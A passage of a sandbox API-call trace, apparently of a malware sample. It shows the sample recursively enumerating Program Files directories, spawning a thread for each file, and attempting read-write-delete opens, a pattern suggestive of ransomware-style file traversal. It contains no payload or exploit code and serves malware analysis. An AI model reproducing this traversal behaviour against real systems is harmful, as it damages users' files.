[0140.921] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x969930 [0140.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x969930 | out: lpFindFileData=0x969930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b378 [0144.721] wcscmp (_String1=".", _String2=".") returned 0 [0144.721] FindNextFileW (in: hFindFile=0x93b378, lpFindFileData=0x969930 | out: lpFindFileData=0x969930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.721] wcscmp (_String1="..", _String2=".") returned 1 [0144.721] wcscmp (_String1="..", _String2="..") returned 0 [0144.721] FindNextFileW (in: hFindFile=0x93b378, lpFindFileData=0x969930 | out: lpFindFileData=0x969930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0144.721] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0144.721] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0144.721] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ae608 [0144.721] wcscpy (in: _Dest=0x9ae608, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0144.721] wcscat (in: _Dest=0x9ae608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0144.722] wcscat (in: _Dest=0x9ae608, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" [0145.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec [0145.360] FindNextFileW (in: hFindFile=0x93b378, lpFindFileData=0x969930 | out: lpFindFileData=0x969930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0145.360] FindClose (in: hFindFile=0x93b378 | out: hFindFile=0x93b378) returned 1 [0145.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x969930) returned 1 [0145.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0f80) returned 1 [0145.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9726e0) returned 1 Thread: id = 1905 os_tid = 0xb64 [0141.207] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x8fce78 [0141.207] wcscpy (in: _Dest=0x8fce78, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0141.207] wcscat (in: _Dest=0x8fce78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0141.207] wcscat (in: _Dest=0x8fce78, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" [0141.207] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912490 [0141.207] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941ff0 [0141.617] wcscmp (_String1=".", _String2=".") returned 0 [0141.617] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.617] wcscmp (_String1="..", _String2=".") returned 1 [0141.617] wcscmp (_String1="..", _String2="..") returned 0 [0141.617] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0141.617] wcscmp (_String1="enu-dsk", _String2=".") returned 1 [0141.617] wcscmp (_String1="enu-dsk", _String2="..") returned 1 [0141.617] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934d08 [0141.617] wcscpy (in: _Dest=0x934d08, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0141.617] wcscat (in: _Dest=0x934d08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0141.618] wcscat (in: _Dest=0x934d08, _Source="enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0142.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0142.150] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0142.150] wcscmp (_String1="MSTTSFrontendENU.dll", _String2=".") returned 1 [0142.150] wcscmp (_String1="MSTTSFrontendENU.dll", _String2="..") returned 1 [0142.150] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0142.150] wcscmp (_String1="MSTTSLoc.dll.mui", _String2=".") returned 1 [0142.150] wcscmp (_String1="MSTTSLoc.dll.mui", _String2="..") returned 1 [0142.150] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0142.150] FindClose (in: hFindFile=0x941ff0 | out: hFindFile=0x941ff0) returned 1 [0142.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912490) returned 1 [0142.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fce78) returned 1 [0142.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb3a0) returned 1 Thread: id = 1906 os_tid = 0xb68 [0141.208] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak")) returned 0x20 [0141.210] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak", dwFileAttributes=0x20) returned 0 [0141.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0141.210] GetLastError () returned 0x5 [0141.210] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak", dwFileAttributes=0x20) returned 0 [0141.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f40a0) returned 1 Thread: id = 1907 os_tid = 0xb6c [0141.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934b10 [0141.217] wcscpy (in: _Dest=0x934b10, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0141.217] wcscat (in: _Dest=0x934b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0141.217] wcscat (in: _Dest=0x934b10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*" [0141.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913568 [0141.217] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941fb0 [0141.618] wcscmp (_String1=".", _String2=".") returned 0 [0141.618] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.618] wcscmp (_String1="..", _String2=".") returned 1 [0141.618] wcscmp (_String1="..", _String2="..") returned 0 [0141.618] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0141.618] wcscmp (_String1="docs.crx", _String2=".") returned 1 [0141.618] wcscmp (_String1="docs.crx", _String2="..") returned 1 [0141.618] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f40a0 [0141.618] wcscpy (in: _Dest=0x8f40a0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0141.618] wcscat (in: _Dest=0x8f40a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0141.618] wcscat (in: _Dest=0x8f40a0, _Source="docs.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" [0142.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f40a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0142.152] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0142.152] wcscmp (_String1="drive.crx", _String2=".") returned 1 [0142.152] wcscmp (_String1="drive.crx", _String2="..") returned 1 [0142.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f4158 [0142.152] wcscpy (in: _Dest=0x8f4158, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0142.152] wcscat (in: _Dest=0x8f4158, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0142.152] wcscat (in: _Dest=0x8f4158, _Source="drive.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" [0142.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f4158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0142.153] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0142.153] wcscmp (_String1="external_extensions.json", _String2=".") returned 1 [0142.153] wcscmp (_String1="external_extensions.json", _String2="..") returned 1 [0142.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dcc58 [0142.153] wcscpy (in: _Dest=0x8dcc58, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0142.153] wcscat (in: _Dest=0x8dcc58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0142.153] wcscat (in: _Dest=0x8dcc58, _Source="external_extensions.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" [0142.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dcc58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0142.155] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0142.155] wcscmp (_String1="gmail.crx", _String2=".") returned 1 [0142.155] wcscmp (_String1="gmail.crx", _String2="..") returned 1 [0142.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f4210 [0142.155] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0142.155] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0142.155] wcscat (in: _Dest=0x8f4210, _Source="gmail.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" [0142.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f4210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0142.156] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0142.156] wcscmp (_String1="youtube.crx", _String2=".") returned 1 [0142.156] wcscmp (_String1="youtube.crx", _String2="..") returned 1 [0142.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb0) returned 0x8f42c8 [0142.156] wcscpy (in: _Dest=0x8f42c8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0142.156] wcscat (in: _Dest=0x8f42c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0142.156] wcscat (in: _Dest=0x8f42c8, _Source="youtube.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" [0142.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f42c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0142.158] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x913568 | out: lpFindFileData=0x913568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0142.158] FindClose (in: hFindFile=0x941fb0 | out: hFindFile=0x941fb0) returned 1 [0142.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913568) returned 1 [0142.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934b10) returned 1 [0142.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fd8) returned 1 Thread: id = 1925 os_tid = 0xbb4 [0141.287] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x93cd38 [0141.287] wcscpy (in: _Dest=0x93cd38, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0141.287] wcscat (in: _Dest=0x93cd38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0141.287] wcscat (in: _Dest=0x93cd38, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*" [0141.287] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91e890 [0141.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da050 [0145.433] wcscmp (_String1=".", _String2=".") returned 0 [0145.433] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.433] wcscmp (_String1="..", _String2=".") returned 1 [0145.433] wcscmp (_String1="..", _String2="..") returned 0 [0145.433] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, 